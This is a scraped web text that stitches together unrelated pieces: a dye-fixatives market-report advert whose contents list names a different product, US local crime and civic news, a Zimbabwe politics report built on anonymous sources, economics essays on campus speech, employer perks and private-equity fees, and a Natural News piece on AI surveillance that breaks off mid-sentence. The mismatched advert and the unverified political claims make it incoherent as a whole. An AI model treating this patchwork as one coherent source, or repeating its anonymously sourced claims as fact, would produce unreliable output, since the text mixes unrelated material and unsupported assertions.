Agent Dye Fixatives Breakdown Data by Application Nylon Leather Cotton Fabric Dye Fixatives Production Breakdown Data by Region United States Europe China Japan Other Regions Access Report and Full Table of Contents of Dye Fixatives Market @ https://www.decisiondatabases.com/ip/37435-dye-fixatives-industry-market-report Table of Contents-Snapshot 1 Study Coverage 2 Executive Summary 3 Market Size by Manufacturers 4 Double Winding Transformers Production by Regions 5 Double Winding Transformers Consumption by Regions 6 Market Size by Type 7 Market Size by Application 8 Manufacturers Profiles 9 Production Forecasts 10 Consumption Forecast 11 Value Chain and Sales Channels Analysis 12 Market Opportunities & Challenges, Risks and Influences Factors Analysis 13 Key Findings in the Global Double Winding Transformers Study 14 Appendix About Us: DecisionDatabases.com is a Global business research reports provider, enriching decision makers and strategists with qualitative statistics. DecisionDatabases.com is proficient in providing syndicated research Report, customized research reports, company profiles and industry databases across multiple domains. Our expert research analysts have been trained to map clients research requirements to the correct research resource leading to a distinctive edge over its competitors. We provide intellectual, precise and meaningful data at a lightning speed. For More Details: DecisionDatabases.com E-Mail: sales@decisiondatabases.com Phone: +91-90-28-057900 Web: https://www.decisiondatabases.com/ Head-on crash on Tuolumne Road View Photos Sonora, CA The CHP has released further details and identified the individuals, all from Sonora, involved in a head-on crash on Tuolumne Road that ended with one of the drivers arrested for DUI. The collision happened during the Wednesday afternoon commute just after 4 p.m. west of Hess Avenue, as reported here. 29-year-old Joel Westley Acker was driving a 2007 Dodge Ram 1500 westbound while 67-year-old Janet L. Alderman was driving a 2001 Ford F-150 eastbound. CHP spokesperson Faustino Pulido reports that Acker drifted off the roadway into a drainage ditch and overcorrected sending his pickup over the double yellow line into the path of Aldermans truck. The two vehicles hit head on. Acker had minor injuries. Alderman was taken via ambulance to Adventist Health Sonora, and a passenger in her pickup, Lorraine L. Gilbert was flown to Doctors Medical Center in Modesto. Both suffered moderate injuries. A third passenger, 67-year-old Thomas Curtis, was not injured. Pulido details that a DUI investigation ensued at the scene and Acker was subsequently arrested for drunk driving and causing bodily injury. His bail is set at $25,000. Wayland Baptist University's Abraham Art Gallery will open with a new show on Friday, featuring the work of four senior art students. Justus Brozek, Aimee Brooks, Marissa Felton and Morgan Holliday Tiner will have their work on display, fulfilling the requirements of their senior practicum. The show will run through May 11. A reception for the artists will be held at 7 p.m. on Friday. The reception is open to the public and will be held in the atrium located in the basement level of the Learning Resources Center on the Wayland campus. Brozek, from Bovina, started pursuing art seriously after taking an 8th grade art class. His love of art grew, drawing inspiration from his relationship with his creator. He works in various mediums including acrylics, oils, iron works and graphic design. He will graduate from Wayland on May 11 and next fall plans to attend Texas Tech University to pursue a Master of Fine Arts degree in printmaking. Brookes came to Wayland from Lubbock, but didn't fall in love with art until she took a ceramics class her freshman year. Brooks is graduating in May with a degree in three-dimensional art. Brooks has explored a variety of mediums but loosely defines herself as a potter and print maker. Brookes' art embodies her beliefs that every vessel is made to hold something and that art is for everyone. Felton is from Amarillo. She fell in love with art at an early age and draws inspiration from her hometown as well as her travels to Taiwan and England. Her work reflects her faith as well as self-reflection. And she occasionally finds inspiration from her miniature schnauzer. She works primarily in graphite pencil, acrylic and watercolor. Felton hopes to pursue a career as a teacher. Growing up in Albuquerque, N.M., Tiner has always considered herself an artistic person, loving all kinds of art expression. As a student she says she still hasn't discovered her area of expertise as her artistic style and use of mediums varies from day to day. She loves painting, drawing, sculpting, photography, graphic design, working with clay, wood and metal. Tiner says her art all tells her life story as pieces are taken from her personal experiences. An all-arts major, Tiner will graduate in May and plans to teach middle school in the fall. The Abraham Art Gallery is open Monday - Thursday 10 a.m. - 5 p.m., Friday 10 a.m. - 4 p.m. and Saturday 2-5 p.m. or by special arrangement. The Gallery is located in the lower level of the Mabee Learning Resources Center on the Wayland campus in Plainview. Palo Alto College was the center of a Fiesta Thursday as festival goers gathered for PACfest. The event is one of the largest official Fiesta events south of Highway 90, according to their event page. The festival includes over 7,000 community members. Featuring leaky faucets, greasy vent hoods and moldy ice machines, San Antonio restaurants were cited for numerous violations this week. More than a dozen eateries received a score of 89 or lower during city health inspections throughout the city. Last week, more than 20 eateries were marked including a North Side bakery that had a dead mouse stuck on a sticky trap. This week, several restaurants encountered the same pesky problems as evidence of gnats and roaches were observed in at least five establishments. Another common violation was employees handling tortillas with bare hands. Click through the gallery above for a look at the other violations spotted by health inspectors this week. To land on this weekly list of restaurants compiled by the Express-News, an establishment must score 89 or below or anything less than an "A" during a random city health inspection. Hundreds of restaurant inspections conducted by the San Antonio Food and Environment Services division are examined each week to bring you the eateries with scores of 89 or below. Restaurants are graded on a 100-point system where "100" is a perfect score, and demerits are based upon the number of violations found during a regular food establishment inspection. There are three categories of demerits and each is assigned a demerit score between 1 and 3 points, according to the health division. If you have questions about inspections or complaints about a food establishment, contact the Metropolitan Health District office by calling 3-1-1 or 210-207-6000. Be prepared to provide the name, location, date of incident and details of the incident. Four suspected gunmen died Tuesday afternoon in an armed confrontation with Mexican troops in Nuevo Laredo, Tamaulipas, authorities said. At about 3 p.m., gunmen in a gray Chevrolet Tahoe fired shots at soldiers with the Secretariat of the National Defense, also known as SEDENA, by the intersection of Paseo Colon and Avenida Reforma in central Nuevo Laredo. A teenager hospitalized after a fight outside a southeast Houston middle school died Wednesday, police said. Kashala Francis, 13, was involved in an off-campus altercation near Attucks Middle School on April 18, according to Houston Police Department spokesperson Victor Senties. She was rushed to Texas Children's Hospital, where she was pronounced dead nearly a week later, Senties said. MORNING UPDATES: Get all the news you need to know to start your day, delivered to your inbox HPD homicide detectives are investigating the girl's death. Senties said she had some sort of preexisting condition that may have contributed to her death. Houston ISD issued the following statement: "The Houston Independent School District is deeply saddened to learn of the death of one of our students. We extend our sincere condolences to the student's family, friends, teachers and classmates. Off-campus events that preceded the student's death are being investigated by the Houston Police Department, and HISD is cooperating. We have grief counselors available at Attucks Middle School for all who may need assistance." HOUSTONCHRONICLE.COM: Austin HS student charged with bringing gun to school, HISD says Detectives are awaiting autopsy results before determining if anyone will face charges. Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message Houston Chronicle A young boy is expected to be OK after being pinned underneath a car Friday morning in southeast Houston. Houston police officers were called to a crash in the 1300 block of Receda Drive around 7:30 a.m. after a child was struck by a vehicle there, according to the Houston Police Department. When they arrived, they learned the boy was trapped underneath the vehicle, police said. Jurors haven't budged in their deadlock Friday while deliberating the outcome of Antonio Armstrong, Jr.'s capital murder trial, an attorney said. State District Judge Kelli Johnson has received several notes from jurors apparently indicating an impasse. She called them out to the box to read an "Allen Charge" on Friday afternoon, instructing them to keep deliberating and come to a conclusion if they can. Private pictures of intimate moments that end-up being made public without the consent of the partners involved can be considered revenge porn. And the Texas Legislature is taking steps to ensure that people can be prosecuted for the breach of privacy. On Thursday night, the Texas House passed a bill that aims to tweak a 2015 'revenge porn' law, multiple reports said. That law made it a class A misdemeanor to publicly post intimate photos of a partner sent with the initial understanding that they would remain private. In 2018, the 12th Court of Appeals ruled that the 2015 revenge porn law was unconstitutionally "broad," because it could be used to condemn individuals who re-posted an image or images online. WHAT'S A P-SLAM? Texas Agriculture Commissioner Sid Miller misspells Psalm in note to lawmakers, according to HoustonChronicle.com report That includes scenarios in which individuals were not aware that the digital photographs came from a revenge porn situation. The 12th Court of Appeals also said that the revenge porn law violates the First Amendment of the U.S. Constitution by requiring the government to examine what was depicted in photos or videos to determine whether the law was broken. The court explained that it's very difficult to establish such "content-based" restrictions on photos, speeches and other forms of expression. You can read the 12th Court of Appeals' full ruling here. House Bill 98 addresses those concerns by including that sexually explicit photos and videos must be posted "with the intent to harm" the person shown in the images. In addition, it states that the offender knew that the victim had a reasonable expectation that the photo or photos would stay private. The House voted to unanimously approve the new bill, 136-0. House Bill 98 will next go to the Texas Senate for approval. Previously, Texas State Sen. Joan Huffman, R-Houston, had proposed a similar bill, but the Senate had not yet taken action on it. Earlier this year, Huffman told the Austin-American Statesman the she believed the the revenge porn law will survive a court ruling. "However, in the event that the Court of Criminal Appeals finds the language of the original statute lacking, the Legislature must be ready to step in so that these terrible crimes can be prosecuted, the perpetrators punished and the victims protected," Huffman told the paper. Initially, a conviction could result in a fine of up to $4,000. It would also lead to a jail sentence of up to one year. However, lawmakers upgraded the crime to a felony, punishable by up to two years in a state jail and up to a $10,000 fine. Currently, the Texas Court of Criminal Appeals, the state's highest criminal court, is reviewing the 12th Court's ruling. And it will decide whether or not the revenge porn law can be enforced or should be struck down. 43 out of 50 state have some type of revenge porn laws. Peter Dawson is a digital reporter in Houston. Read him on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | Peter.Dawson@chron.com | NEWS WHEN YOU NEED IT: Text CHRON to 77453 to receive breaking news alerts by text message | Sign up for breaking news alerts delivered to your email here. San Antonio police arrested a woman one week after she allegedly caused a fire that torched a building in a Northeast Side apartment complex. Crystal Garcia, 33, was arrested Thursday on suspicion of arson, jail records showed. Her bail was set at $20,000. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox On April 20, firefighters were called to an apartment complex in the 4800 block of Ray Bon Drive to extinguish a 2-alarm fire. In all, 28 units responded to the fire, which significantly damaged the building, according to Garcia's arrest affidavit. Investigators quickly determined that the fire was caused by incendiary device. Garcia was identified as the suspect after a witness told arson investigators that he recognized her and saw her throw an object into her ex-boyfriend's apartment. Moment's later, a fire broke out and quickly spread through the building. READ ALSO: Deputy alleged to have cut ex-girlfriend's arm during scuffle over phone indicted Garcia's criminal record includes convictions for aggravated robbery and family violence, Bexar County court records showed. Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSA A man was killed Thursday after he was struck by a train, according to San Antonio police. Officers were called to the 3000 block of East Commerce Street Thursday afternoon to respond to the incident, according to information provided by police. A welfare check Friday morning led to San Antonio police shooting a woman who allegedly reached for a shotgun while officers were trying to speak with her. Police were called out to the 7800 block of Lanerose Place at 2 a.m. after a couple got into an argument, according to Police Chief William McManus. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox The man told police that he asked his girlfriend to drop him off at his home after the argument started. When she dropped him off, she allegedly told him "she was going to do something to herself that he would remember for the rest of his life," McManus said. The man took that statement to be suicidal, so he called police, McManus said. The woman was not at the scene when police arrived, but she drove up to the home as the officers were leaving and would not cooperate with them, McManus said. As the officers tried coaxing her out of the car, the woman allegedly reached for a shotgun in her car. An officer fired one shot at her, striking her in the upper torso. RELATED: East Side drive-by shooting leaves 1 in critical condition, 2 wounded The woman was taken to the hospital in stable condition, McManus said. The officer who shot her, a 10-year veteran with the police department, was placed on administrative duty as police continue to investigate the shooting. Text "NEWS" to 77453 for breaking news alerts from mySA.com Fares Sabawi covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | fsabawi@mysa.com|@FaresInSA The best neighborhood in Texas is located in San Antonio, according to Niche, an online research organization. Terrell Hills, a small neighborhood adjacent to Alamo Heights, was ranked the highest of all Texas neighborhoods in Niche's 2019 list of best places to live in the U.S. Militaristic vice president, Rtd General Constantino Chiwenga, is now the countrys de facto head of state, amid reports that President Emmerson Mnangagwa, has reportedly been stripped off of significant executive powers and functions by the army, thus effectively becoming a leader in name only pending his imminent departure from office, Spotlight Zimbabwe, has been told. Top level government sources with the defence ministry in the capital, including three serving cabinet ministers this week confirmed to this publication that, Chiwenga has been endorsed by the Joint Operations Command (JOC), which he chairs to assume full control of all national security affairs, together with classified key presidential functions, as a bid by Mnangagwas ruling party backers to have him clinging to office using a Government of National Unity (GNU) project taking main opposition leader, Nelson Chamisa on board, has allegedly been quashed. JOC brings together the countrys military-security complex to manage homeland security affairs, and is thought to be the real power behind the curtain in Zimbabwes politics. Local online media reports in the past few days have claimed that Mnangagwa is afraid of army plots to forcefully remove him from power, and has resorted to try and accommodate Chamisa in his government, to foil the move. Zanu PF politburo member and former finance minister, Patrick Chinamasa, yesterday also tried to come to Mnangagwas rescue by telling a party gathering in vain, that Mnangagwa was their sole presidential candidate for 2023. Spotlight Zimbabwe, can however report with authority that a Zanu PF and military faction aligned to Chiwenga, has already agreed on Mnangagwas successor, and that the former vice president is going to be booted out of office within months, as his statecraft and policies have dismally failed to resuscitate the economy, which is all but now sliding into new levels of stratospheric collapse. We exclusively reported on 22 March 2019, that Mnangagwas days as president are numbered, as a special delegation of senior military officials reportedly told Chinese generals that his political reign will expire in 2020, and that he was going to be an interim caretaker president up to the period, before the military replaces him with their preferred successor, a few days prior to former leader President Robert Mugabes November 2017 military putsch ouster. Chiwenga himself is increasingly likely to takeover until 2023, if his health permits then handover the country to a civilian leadership, our sources said. There was a mistaken belief that CGDN (Chiwengas full name-Constantino Guveya Dominic Nyikadzino) was not coming back alive from his medical treatment in India in February, said one of the ministers, who is a close ally of Chiwenga. As you can see his health is on the mend, and he has been endorsed by JOC to take up more national security responsibilities and key classified functions in the presidium, which I cannot disclose for purposes of national security and my oath of office. Another one said although things appear to be harmonious in government, the countrys political landscape was about to change. Vakuru vamunoziva varikuda kugadzirisa zvinhu nyika isati yashata (The main political actor you know about, wants to restore the country before it collapses to economic disaster.) Hes coming in on a transition before the 2023 polls, unless he decides to put someone else in power. There are at least two strong candidates, which he has considered, but we shall have to wait and see. Speculation is rife, that former reserve bank governor, Gideon Gono, might bounce back as president, and is expected to use his skills as a banker to prevent financial recession and further economic catastrophe. Gono is a good friend of Chiwenga, who is credited with availing critical funding for the army and its programs, when Chiwenga was Zimbabwe Defence Forces (ZDF) Commander. Spotlight Zimbabwe, will as part of its anniversary celebration reveal the name of the incoming president to replace Mnangagwa in August, and also the countrys 2023 leader who has also been anointed by the army. Top military officials in government also said that Chiwenga, has reportedly been convinced by his personal advisor, Mengistu Haile Mariam, the exiled Ethiopian autarch, who is now a Zimbabwean citizen and hired ZDF consultant, to start amalgamating his presidium functions together with his military doctrine to secure the presidency outright. Mengistu now advises Chiwenga on an array of issues, especially how to synchronise and amalgamating his new civilian roles with his military doctrine as former defence forces commander. Many Zimbabweans are not aware that Mengistu is also an unofficial member of the powerful Joint Operations Command. The two (Chiwenga and Mengistu) usually hold off the grid meetings at Mengistus farm in Vumba. Spotlight Breaking News via Email Loading... Related Zimbabwe Latest News The Zimbabwe Energy Regulatory Authority has announced new prices of fuel effective 29 April and 6 May 2019. The new prices are in line with the mandatory fuel blending that was announced in an extraordinary gazette by the Minister of Energy Jorum Gumbo recently. From 29 April the maximum price of diesel at pump price is 3.21 while blend is 3.35. From the 6th of May the maximum price of diesel will be 3.22 while blend will be 3.36. Price of fuel in the country has been unstable since January when President Emmerson Mnangagwa announced a 150% fuel price hike trying to arrest the hoarding of the precious commodity. See the reviewed prices below: Byo24 Breaking News via Email Loading... Related Zimbabwe Latest News ZANU PF National Youth Political Commissar Godfrey Tsenengamu has announced that he is voluntarily resigning the position because he is no longer a youth. Youth Ends At 35 and I am 36 turning 37 soon. I am voluntarily stepping aside and real youths must take over. Ndosvikepi ndichinzi youth? Tsenengamu said on Friday. The vibrant motor mouth youth leader rose to fame after being one of the foot soldiers that were instrumental in the implantation of the November 2017 bloody coup that ended 37 years of Robert Mugabes rule. One of his popular press conference was when he told Bona Mugabe to tell Grace that when Mugabe dies she might be exiled if she tries to stop the then Vice President Emmerson Mnangagwa from succeeding Mugabe. Tsenengamu also led a grouping of ZANU PF youths to pass votes of no confidence on some senior ZANU PF leaders including 55-year-old Pupurai Togarepi and Secretary for Youth Affairs Lewis Matutu. The VONCs were overturned by the Politburo. In the recent past Tsenengamu has been vocal in opposing some policies coming from the government of President Mnangagwa. When government advised that it will be compensating white farmers for developments on the land when the farms were seized two decades ago, Tsenengamu became vocal in opposing the policy. He says he believes the correct way to go about it is for the ruling party to utilize its Parliamentary majority to amend the clause dealing with the issue of compensation. Tsenengamu further contends that all developments on the farms were directly or indirectly proceeds of the looting of land from indigenous Zimbabweans by the Pioneer Column in the 1890s and afterwards. Tsenengamu has also called for some elderly within ZANU PF to retires so that fresh blood can take over positions within the party. Byo24 Breaking News via Email Loading... Related Zimbabwe Latest News By Peter Dorman, a professor of economics at The Evergreen State College. Originally published at Econospeak Im reading another article about debates over free speech on campus, this time at Williams College, an elite school in the northwestern corner of Massachusetts. A faculty petition asks to formalize and tighten the colleges policy on free speech by adopting the Chicago Principles, which state that concerns about civility and mutual respect can never be used as a justification for closing off discussion of ideas, however offensive or disagreeable those ideas may be to some members of our community. Over three hundred students, however, have signed a counterpetition arguing that speech which harms minorities should not be allowed. These disputes are interesting to me, partly because my own school, Evergreen State College, went through a conflict along these lines. Consider for a moment the idea that speech activities can be evaluated by the emotional effects they engender. One persons speech makes me feel good: fine. Anothers makes me feel terrible and should be disallowed. What this amounts to is assessing political acts according to the utility or disutility experienced by those affected by them. The do no harm criterion is a bit problematic, however, since people can also be subjected to disutility by restrictions on their speech as well as by hearing the speech of others. If one person feels unsafe because of being silenced, but if they talk, another will feel unsafe because of the speech content, a purely rights-based framework becomes inconsistent. I can see two ways out. One is to put forward a hierarchy of rights-bearing, a ranking that resolves rights disputes between any two such individuals. This seems to be implicit in the way disputes like this actually play out, but if you subscribe to the principle of intersectionality (or more subversively, the principle that individuals are not reducible to their identities) the ranking is indeterminate. The other would be to allow for bargaining and side payments. Yes, your speech makes me feel unsafe, but I will consent to it if you simultaneously agree to adopt a program I favor, give me additional personal guarantees or something else I value. Then we are in MarketWorld, where different parties buy and sell pieces of their political agency. You can probably sense where Im going. The neoliberal worldview holds that as many actions in as many spheres as possible should be evaluated according to the effect they have on individual preferences, as revealed by market choices. Take the example of restoring salmon habitat by taking down a dam. This is an action with economic consequences, but it is also a matter of social valueshow much a community values having an environment in which wild fish, among others, can prosper. The neoliberal approach is to interpret that value as a consumption good: what affect does salmon restoration have on your sense of preference satisfaction, on your utility or disutility? There are various techniques that can be used to estimate this, such as a contingent valuation survey. Instead of having to deliberate politically on the values which we want our community to uphold, giving reasons for them to try to persuade one another, we should take our preferences as given and simply record the overall effect of a proposed choice on well-being. My reading is that the core psychological principle of neoliberalism, that life is an accumulation of moments of utility and disutility, is alive and well within certain sectors of the left. A speech (or email or comment at a meeting) should be evaluated by how it makes us feel, and no one should have the right to make us feel bad. I realize I will be accused of trivializing, that Im not appreciating how bad speech can make some of us feel. And I agree that the degree of disutility in relation to the political context matters. Some speech has as its primary purpose making others suffer, through insult or instigating fear, and has little or no persuasive intent. Thats hate speech, and I dont see a problem with curtailing it. Arguably, much of the provocative right-wing babble, whose goal is to demean and threaten rather than change minds, falls under this stipulation. But what distinguishes hate speech is not simply the degree of anguish it evokes but also its lack of any other motive. Giving an antiwar speech may well cause similar anguish among family members who have lost loved ones in battle, but if the purpose is political, to persuade and enlist, it should be evaluated on political grounds, not its impact on utility. Its the greatest power of an ideology that it can seep into the worldview of those who claim to oppose it. By Elizabeth C. Tippet, Associate Professor, School of Law, University of Oregon. Originally published at The Conversation. Companies offer all sorts of benefits and extras to attract the most favored workers, from health care and stock options to free food. But all those perks come at a price: your freedom. Theres a reason labor historians call these perks welfare capitalism, a term that originated to describe company towns and their subsidized housing, free classes and recreational activities. Like government welfare, offering any benefits that people come to rely on is also a convenient vehicle to mold their behavior. And just as Henry Ford sought to transform auto workers through a generous though invasive profit-sharing program, todays employers also use perks to influence our behavior in subtle and not-so-subtle ways. The Dark Side of Corporate Perks You might think of compensation in terms of your hourly wage or salary. Companies see it differently. Back when I drafted employment contracts and policies as an employment lawyer, companies tended to think in terms of total compensation, which also included commissions, bonuses, stock options and sometimes benefits like medical insurance and vacation. And thats where they stand to influence behavior. Under state and federal law, companies arent allowed to mess around with your hourly wage. A company cant dock an entire days pay if you show up five minutes late. Or issue paychecks only once every six months. However, thats not true of other types of compensation. Lawyers like me attach all sorts of policies and restrictions on these benefits as a way to influence worker behavior. The aim of such policies generally ranged from a modest goal like getting you to work harder to making it painful to leave for a competitor. For example, companies such as Facebook, Dropbox and LinkedIn have offered free food, but its not necessarily for employee well-being. Its for the bottom line. And if your employer offers a gym, free dry cleaning or heaven forbid a nap pod, dont assume its an act of charity. As former Zillow CEO Spencer Rascoff observed, perks of this sort mean that employees are expected to work very long hours and not leave the office too often. On the other end of the spectrum, benefits can be laid out in a way to encourage sought-after employees to stay longer. Stock options are typically earned slowly over four years, an especially valuable tool in Silicon Valley, where workers are prone to jumping ship. Vacation never seems to accumulate fast enough for new workers to take holidays off. Even signing bonuses purportedly a rewarded for starting a job are sometimes structured where you have to pay it back if you leave in the first year or two. Company Town, Corporate Control But as I learned recently while researching a book about how companies with some help from courts exert control over workers, it gets a lot worse. It turns out there is a rich history of employer experimentation with benefits as a behavior-modification device. Benefits, particularly those that employees deem necessary or exceptionally valuable, enable employers to exercise surveillance over workers and demand behavioral change in ways they could never do through threats alone. Historically, company housing sat at the sweet spot of valuable and necessary. If you were operating a new mine in the early 20th century and there was no housing or transportation nearby, you likely had to provide housing. But like stock options or paid vacation today, once companies started offering it, they couldnt resist the urge to meddle. For example, company towns commonly restricted the consumption of alcohol, according to historian Angela Vergara. Pennsylvania coal companies even included a provision in their leases requiring workers to move out within 10 days if they went on strike. Not only would the prospect of eviction weigh heavily on workers decision to unionize, companies could use the vacated housing for strikebreakers. And although Henry Ford is famous for paying his workers US$5 a day an extravagant wage at the time thats only half the story. Ford actually paid his workers a wage of just $2.50 day. The other $2.50 was a profit-sharing dividend. To qualify, a worker had to submit to a home inspection by Fords sociological department and allow inspectors to interview his family and friends. Reasons a man might fail such an inspection included debt, having a wife that worked outside the home or being an immigrant who did not speak enough English. Ford also had an honor roll for employees with the best inspection scores, but even that status was precarious. According to company notations, one worker was booted off the roll for selling real estate. Another was dropped for being drunk and having a Polish wedding. Health Care and Cellphones Although few employers provide housing nowadays, workers still rely heavily on employers to provide another basic necessity: health insurance. While the Health Insurance Portability and Accountability Act places some informational barriers between your employer and your health care provider, employers still choose which insurers and wellness programs to offer workers. And they send a pretty clear message about how they want us to behave outside of work. My employer-provided health insurance, for example, uses a health engagement model, which charges higher premiums and deductibles unless you agree to fill out a lengthy questionnaire and commit to change two things about your identified lifestyle failings. Admittedly, no one interrogated my friends on whether my wedding was excessively Polish. But the questionnaire did ask, How many servings of cookies, cakes, donuts, candy, soda or packets of sugar do you eat daily? I mean, come on. My cake intake is a private matter between me and my supermarket cashier. Screenshot of health engagement model questionnaire. Provided by the author. Another necessity of modern life is a cellphone which college students apparently preferred to food in an experimental study involving modest food deprivation. But beware the company-issued cellphone or laptop. Not only does it set up the expectation that you are always on call, all of the information on those devices technically belongs to the company. Even apps you might download on your personal phone to punch in to work can track your location. The Nanny Employer Historian Christopher Post observed that company towns all had one thing in common: None of them had a town council. The company was the government. And in that sense, all of us live in the company town when we go to work each day. Unless you happen to work in a unionized setting and most of us dont the workplace is the most command and control environment in our lives. The company gets to decide who is worthy of the most coveted perks, and how best to dangle them. Which is why I find employer efforts to use workplace benefits to control our personal decisions so grating. Some days, you just want to go home, crack open a beer, and eat cake in front of the television without worrying whether your boss will approve. Emperor penguins flee unsteady ice after unprecedented failure to breed Science These Haunting Pictures Show How Chernobyl Has Aged Over The Years Buzzfeed Pollution and our oceans Lancet Planetary Health How to stop climate change? Nationalise the oil companies Guardian Central banks are finally taking up the climate change challenge Gillian Tett, Financial Times (DL). Bitcoin Tumbles After Officials Allege $850 Million Fraud Fortune (DL). Prosecution futures. Microsoft is now a $1 trillion company The Verge Quotation of the Day: Facebook Says U.S. Regulators Will Hit It Hard NYT. From Stoller: This would be a joke of a fine a two-weeks-of-revenue, parking-ticket-level penalty for destroying democracy (of the FTCs proposed $5 billion fine over privacy issues). Amazon to roll out one-day shipping worldwide FT Hua-dunnit? Calls for a police probe as top Tories deny leaking the details of secret security meeting about Chinese telecoms firm Huawei so who was present and what do they say? Daily Mail Brexit May drops plan for new Brexit vote before local elections FT Sir Graham Brady urges PM to support bid to strip Irish backstop from Brexit deal The Sun. Brady is chair of the 1922 Committee. Labour should leave government talks and campaign in the European elections New Statesman Goldman Sachs says dragged-out Brexit is doing deeper damage to UK economy Reuters No-deal Brexit stockpiling panic as British businesses warn warehouses are already booked up for Christmas Business Insider Weve been pointing out for years that private equity has become a not-so-hot investment over the last decade, on average not beating benchmarks that require PE funds to beat the S&P 500 for the last decade. The reason is simple: too much money chasing too few deals. Private equity as a share of global equity has more than doubled since 2004. The failure to meet benchmarks means that investing in private equity hasnt been earning enough to justify its risks, particularly its illiquidity. And the usual rationalization, that investors will be fine if they invest in top quartile funds, is so obviously bogus that its sad to see professional investors fall back on it. First, investors accept that they cant beat the market via manager selection in other types of financial investments; thats why they rely heavily on index funds. And in private equity, top managers no longer stay top managers from fund to fund, meaning theres no sound basis for trying to identify top managers in advance. The other rationale for private equity, that it provides returns that arent highly correlated with that of the stock market, falls apart when mis-reporting is corrected. Most investors bizarrely report private equity results lagged by one quarter, so June 30 results for the rest of portfolio will be combined with private equity results from March 30. Once you correct for the lagging, the lower correlation disappears. As we and other have pointed out, there is a way out for investors desperate for private equity like returns. Private equity firms pull in a massive 7% per annum on average in fees. The most obvious is to bring private equity in house and cut out the price-gouging middlemen, as Stanfords Dr. Ashby Monk advocated long form in this tweetstorm. From the opening section: One theme that Dr. Monk has stressed elsewhere is that private equity investors are often their own worst enemies by engaging in forms of herding and group-think that only helps strengthen the position of private equity fund managers. The importance of bringing private equity in-house, or using other strategies to get private-equity-like returns, like public market replication of private equity, become even more acute as some funds are jacking up their fees. Recall that private equity fund managers have been warning over the last few years that private equity returns are likely to be lower going forward, so raising fees will cut even further into net returns. Yet the fund managers are confident they can get away with a fee increase because desperate investors, particularly public pension funds, continue to throw money at private equity. Specifically, some fund managers are increasing so-called carry fees from 20% to an eye-popping 30%. From the Financial Times: Institutional investors are in some cases paying 30 per cent in carried interest the share of profits taken by the private equity groups up from the traditional 20 per cent share of profits that the industry has charged for decades. Funds charging this super carry have been launched recently by Carlyle Group, Vista Equity Partners and Bain Capital in the US and EQT, Eurazeo and Altor in Europe Investors worry that private equity groups can dictate terms when they are able to raise funds at their fastest pace since the crash. Buyout groups take on average 12 months to raise a fund compared to 20 months in 2010, according to Preqin. Please use the sharing tools found via the share button at the top or side of articles. Copying articles to share with others is a breach of FT.com T&Cs and Copyright Policy. Email licensing@ft.com to buy additional rights. Subscribers may share up to 10 or 20 articles per month using the gift article service. More information can be found at https://www.ft.com/tour. https://www.ft.com/content/36e778c4-4bfa-11e9-bbc9-6917dce3dc62 This shows a complete rebalancing of power in favour of buyout funds, said the head of a multibillion-euro private equity group in Europe. [After the crash] the industry was shaking like rats in a cage because of fears that we were going to have to reduce our carried interest and, lower our management fees. The article describes one example, a Bain fund, where Bain is lowering the management fee to 1% but increasing the carry fee to 30% and eliminating the hurdle rate, which is the requirement that a fund meet a minimum return, usually 8%, before it can levy a carry fee. Note also that reducing the management fee isnt as big a gimmie as it might seem. Those fees like transaction fees and money for nothing monitoring fees that private equity firms charge to portfolio companies are offset against the management fee. Lowering management fees means that private equity funds will be able to retain more of these hidden charges. The article points out that the last time there was a wall of money flooding into private equity that allowed funds to raise fees, it was at a market peak: A rise in carried interest hit the industry during the boom years leading up to the financial crash in 2008 but it went away when funds struggled to raise money in the lean years that followed the crisis. The story sadly does not stress that the funds raised in the vintage years right before the crisis performed badly, and that calls into question the notion that investors should swallow the fee increases because performance warrants it. One commentator also highlighted how clueless most private equity investors are, that theyll be satisfied if private equity delivers net returns over those of public markets, when in fact private equity needs to do substantially better than that to compensate for its extra risks, that of illiquidity and leverage. Michael Wolfram of Bfinance, a London-based financial services consultancy, said at the recent Berlin event that not every investor is accepting new terms but that if private equity still delivers more than public equity then regardless of the fee level thats fine. Virtually all of the investors in private equity go through the show of having professional advisers like Wilshire and making supposedly rational asset allocations, when they are flagrantly ignoring the bedrock principle that higher risk investment need to deliver a higher expected return to justify investing in them. Weve seen CalPERS repeatedly throw sound finance practices out the window when it tries to justify the supposed necessity of investing in private equity by claiming its the only strategy that can beat its benchmark. First, that isnt true, since CalPERS has refused to consider alternatives that can deliver similar returns. But even more important, CalPERS is dispensing finance snake oil when it engages in this argument. What matters isnt absolute return but risk adjusted return. For the last decade, private equity has fallen short and top executives in the industry have warned that if anything, returns will fall in the future. But it seems that there is no shortage of fools who are prepared to invest in private equity as currently constituted rather than build up internal capabilities. So expect recent vintage investments to end in tears. (Natural News) The coming tsunami of devices equipped with artificial intelligence (AI) technology may seem like, to some, a welcome addition to all things that make life easier on planet Earth. But to a growing number of critics, AI represents the next opportunity for big government to encroach upon our lives daily, and even prosecute and imprison us based on what a machine thinks we might do. As NextGov reports, AI-capable cameras said to be able to detect behaviors that lead to crime are coming as the next evolution in surveillance technology that cities and governments deploy to monitor citizens 24/7/365. Imagine it were possible to recognize not the faces of people who had already committed crimes, but the behaviors indicating a crime that was about to occur, NextGov noted, adding: Multiple vendors and startups attending ISC West, a recent security technology conference in Las Vegas, sought to serve a growing market for surveillance equipment and software that can find concealed guns, read license plates and other indicators of identity, and even decode human behavior. A company called ZeroEyes out of Philadelphia markets a system to police departments that can detect when a person is entering a given facility carrying a gun. It integrates with any number of closed-circuit surveillance systems. Under the guise of ending mass shootings its always about gun control with the authoritarian Left the AI community seeks to develop predictive technology that can not only spot certain behaviors, allegedly, that indicate a gun crime is about to take place, but other violent criminal activity as well. At present, precursors to predictive criminal behavior facial recognition and license-plate reader technology are being met with stiff resistance from privacy advocates. And in some cases, at least, judges have sided with them in limiting the use of such technology in the public square. As such, there can be no doubt that AI-driven pre-crime recognition will be met with similar resistance from pesky constitutionalists who still believe in privacy rights and our founding legal principle of innocent until proven guilty. The inevitable will come: Pre-arrests for predictive crime And why not? In addition to the probability of false positives, how long will it be before 